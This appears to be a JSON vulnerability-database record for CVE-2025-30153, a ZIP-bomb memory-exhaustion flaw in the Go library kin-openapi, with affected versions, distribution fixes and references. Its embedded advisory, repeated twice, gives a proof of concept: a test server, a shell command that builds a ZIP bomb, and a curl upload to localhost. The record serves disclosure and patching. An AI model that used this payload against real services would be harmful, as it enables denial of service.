{"id":"CVE-2025-30153","aliases":["DEBIAN-CVE-2025-30153","EUVD-2025-6729","GHSA-wq9g-9vfc-cfq9","GO-2025-3533","SUSE-SU-2026:21756-1","SUSE-SU-2026:21827-1","SUSE-SU-2026:3718-1","UBUNTU-CVE-2025-30153","openSUSE-SU-2025:14937-1","openSUSE-SU-2026:10731-1","openSUSE-SU-2026:10922-1","openSUSE-SU-2026:20788-1","openSUSE-SU-2026:20940-1"],"status":"published","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00621,"percentile":0.50088,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-409"],"published":"2025-03-19T16:03:26Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"Go","package":"github.com/getkin/kin-openapi","fixed_in":["0.131.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"golang-github-getkin-kin-openapi","fixed_in":["0.135.0-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"grafana","fixed_in":["11.6.14+security01-4.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.131.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.110.0-1","0.117.0-1","0.118.0-1","0.120.0-1","0.122.0-1","0.122.0-2","0.122.0-3","0.123.0-1","0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.135.0-1"}]}],"versions":["0.124.0-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.131.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.131.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.4.5-150200.3.91.1"}]}],"bundled":22},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.32.0-2","0.80.0-1","0.85.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.117.0-1","0.120.0-1","0.122.0-3","0.123.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250327T184518-1.1"}]}],"bundled":30},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"mcphost","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.34.0-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.6.14+security01-4.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.6.14+security04-bp160.1.1"}]}],"bundled":24}],"products":[{"vendor":"getkin","product":"kin-openapi"}],"references":[{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse","tags":["x_refsource_MISC","package","web"]},{"url":"https://github.com/getkin/kin-openapi/pull/1059","tags":["web","fix"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30153","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wq9g-9vfc-cfq9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30153.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-30153","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202621756-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1253952","tags":["report"]},{"url":"https://bugzilla.suse.com/1260224","tags":["report"]},{"url":"https://bugzilla.suse.com/1264759","tags":["report"]},{"url":"https://bugzilla.suse.com/1264762","tags":["report"]},{"url":"https://bugzilla.suse.com/1265274","tags":["report"]},{"url":"https://bugzilla.suse.com/1265275","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30153","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47913","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-47914","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32285","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33186","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202621827-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263718-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1262187","tags":["report"]},{"url":"https://bugzilla.suse.com/1263272","tags":["report"]},{"url":"https://bugzilla.suse.com/1264764","tags":["report"]},{"url":"https://bugzilla.suse.com/1265281","tags":["report"]},{"url":"https://bugzilla.suse.com/1265282","tags":["report"]},{"url":"https://bugzilla.suse.com/1265283","tags":["report"]},{"url":"https://bugzilla.suse.com/1265284","tags":["report"]},{"url":"https://bugzilla.suse.com/1265285","tags":["report"]},{"url":"https://bugzilla.suse.com/1265286","tags":["report"]},{"url":"https://bugzilla.suse.com/1265287","tags":["report"]},{"url":"https://bugzilla.suse.com/1265288","tags":["report"]},{"url":"https://bugzilla.suse.com/1265289","tags":["report"]},{"url":"https://bugzilla.suse.com/1265290","tags":["report"]},{"url":"https://bugzilla.suse.com/1266600","tags":["report"]},{"url":"https://bugzilla.suse.com/1267153","tags":["report"]},{"url":"https://bugzilla.suse.com/1271327","tags":["report"]},{"url":"https://bugzilla.suse.com/1271331","tags":["report"]},{"url":"https://bugzilla.suse.com/1274217","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-12141","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25681","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27136","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28374","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28376","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28379","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28380","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28383","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33376","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33377","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33378","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33380","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33381","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33382","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39882","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41607","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42506","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2025-30153","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-30153","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/NEVFAGUWHTVZSJTUAIU6C4S26DP2KIGB/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-25132","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-53348","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-53351","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-7598","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-7631","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-9042","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-9900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1097","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1098","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1472","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1767","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-1974","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24513","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24514","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-25068","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-25274","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27612","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27715","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27933","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-29778","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-29914","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-29922","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-29923","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30077","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30163","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30204","tags":["web"]},{"url":"","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1258595","tags":["report"]},{"url":"https://bugzilla.suse.com/1258873","tags":["report"]},{"url":"https://bugzilla.suse.com/1259999","tags":["report"]},{"url":"https://bugzilla.suse.com/1260263","tags":["report"]},{"url":"https://bugzilla.suse.com/1260878","tags":["report"]},{"url":"https://bugzilla.suse.com/1260881","tags":["report"]},{"url":"https://bugzilla.suse.com/1261025","tags":["report"]},{"url":"https://bugzilla.suse.com/1261026","tags":["report"]},{"url":"https://bugzilla.suse.com/1261027","tags":["report"]},{"url":"https://bugzilla.suse.com/1261029","tags":["report"]},{"url":"https://bugzilla.suse.com/1262950","tags":["report"]},{"url":"https://bugzilla.suse.com/1263501","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-21724","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26958","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27876","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27877","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28375","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33375","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34986","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41602","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-30153","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.","status":"published","published":"2025-03-19T16:03:26.947Z","modified":"2025-03-19T18:25:11.787Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:32:35.418416Z"}],"euvd":[{"id":"EUVD-2025-6729","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.","status":"published","published":"2025-03-19T16:03:26Z","modified":"2025-03-19T18:25:11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T20:52:58.604029Z"}],"ghsa":[{"id":"GHSA-wq9g-9vfc-cfq9","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n  title: 'Validator'\n  version: 0.0.1\npaths:\n  /:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              required:\n                - file\n              properties:\n                file:\n                  type: string\n                  format: binary\n      responses:\n        '200':\n          description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest:     r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute:       route,\n\t\tPathParams:  pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e 'print \"0\" x 5000000000' \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)","status":"published","published":"2025-03-19T18:12:53Z","modified":"2025-05-15T16:44:41Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:38:43.172412Z"}],"nvd":[{"id":"CVE-2025-30153","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.","status":"published","published":"2025-03-19T16:15:33.607Z","modified":"2026-06-17T09:08:15.6Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:10:54.744127Z"}],"osv":[{"id":"CVE-2025-30153","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.","status":"published","published":"2025-03-19T16:03:26.947Z","modified":"2026-10-28T02:31:08.564150691Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:44:47.708311Z"},{"id":"DEBIAN-CVE-2025-30153","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.","status":"published","published":"2025-03-19T16:15:33.607Z","modified":"2026-09-01T20:05:45.977433007Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:45.870237Z"},{"id":"GHSA-wq9g-9vfc-cfq9","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n  title: 'Validator'\n  version: 0.0.1\npaths:\n  /:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              required:\n                - file\n              properties:\n                file:\n                  type: string\n                  format: binary\n      responses:\n        '200':\n          description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest:     r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute:       route,\n\t\tPathParams:  pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e 'print \"0\" x 5000000000' \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)","status":"published","published":"2025-03-19T18:12:53Z","modified":"2026-09-10T03:50:23.38060759Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:46:59.131095Z"},{"id":"UBUNTU-CVE-2025-30153","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.131.0, when validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says). This vulnerability is fixed in 0.131.0.","status":"published","published":"2025-03-19T16:15:00Z","modified":"2026-09-09T14:35:13.036286929Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:26.330196Z"},{"id":"GO-2025-3533","title":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","description":"Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter","status":"published","published":"2025-03-26T17:24:24Z","modified":"2026-02-04T03:18:30.751325Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2025:14937-1","title":"govulncheck-vulndb-0.0.20250327T184518-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20250327T184518-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-03-28T00:00:00Z","modified":"2026-02-04T02:21:10.797539Z","updated_at":"2026-11-02T16:58:37.399567Z"},{"id":"openSUSE-SU-2026:10731-1","title":"mcphost-0.34.0-1.1 on GA media","description":"These are all security issues fixed in the mcphost-0.34.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-05-08T00:00:00Z","modified":"2026-05-09T07:46:35.628038Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"openSUSE-SU-2026:10922-1","title":"grafana-11.6.14+security01-4.1 on GA media","description":"These are all security issues fixed in the grafana-11.6.14+security01-4.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-01T00:00:00Z","modified":"2026-06-02T08:45:07.270732023Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:20788-1","title":"Security update for mcphost","description":"This update for mcphost fixes the following issues\n\n- CVE-2025-30153: github.com/getkin/kin-openapi/openapi3filter: Improper Handling of Highly Compressed Data (Data\n  Amplification) in github.com/getkin/kin-openapi/openapi3filter (bsc#1264762).\n- CVE-2025-47913: golang.org/x/crypto/ssh/agent: client process termination when receiving an unexpected message type in\n  response to a key listing or (bsc#1265274).\n- CVE-2025-47914: golang.org/x/crypto/ssh/agent: non validated message size can cause a panic due to an out of bounds\n  read (bsc#1265275).\n- CVE-2025-58181: golang.org/x/crypto/ssh: invalidated number of mechanisms can cause unbounded memory consumption\n  (bsc#1253952).\n- CVE-2026-32285: github.com/buger/jsonparser: denial of service via malformed JSON input (bsc#1264759).\n- CVE-2026-33186: google.golang.org/grpc: authorization bypass due to improper validation of the HTTP/2: path pseudo-\n  header (bsc#1260224).\n\nChanges for mcphost:\n\n- Updated to version 0.34.0\n * Features:\n - Upgrade charmbracelet libs to v2 (bubbletea, lipgloss, bubbles)\n - Add Google Vertex AI support for Claude models\n - Add new models.\n * Fixes:\n - Eliminate escape sequence leak from spinner tea.Program instances.\n - Fix anthropic api issue.\n - Convert JSON Schema draft-07 exclusive bounds to draft-04 format.\n * Upgrade all dependencies to latest versions, resolve security issues\n and to obtain Go 1.26 compatibility.\n","status":"published","published":"2026-05-22T11:50:52Z","modified":"2026-05-26T18:24:15.174834861Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"openSUSE-SU-2026:20940-1","title":"Security update for grafana","description":"This update for grafana fixes the following issues:\n\nChanges in grafana:\n\n- CVE-2026-39821: Fix validation bypass and privilege escalation by\n  updating golang.org/x/net to version 0.55.0 (bsc#1266600)\n\n- Update to version 11.6.14+security-04:\n  Security:\n  * 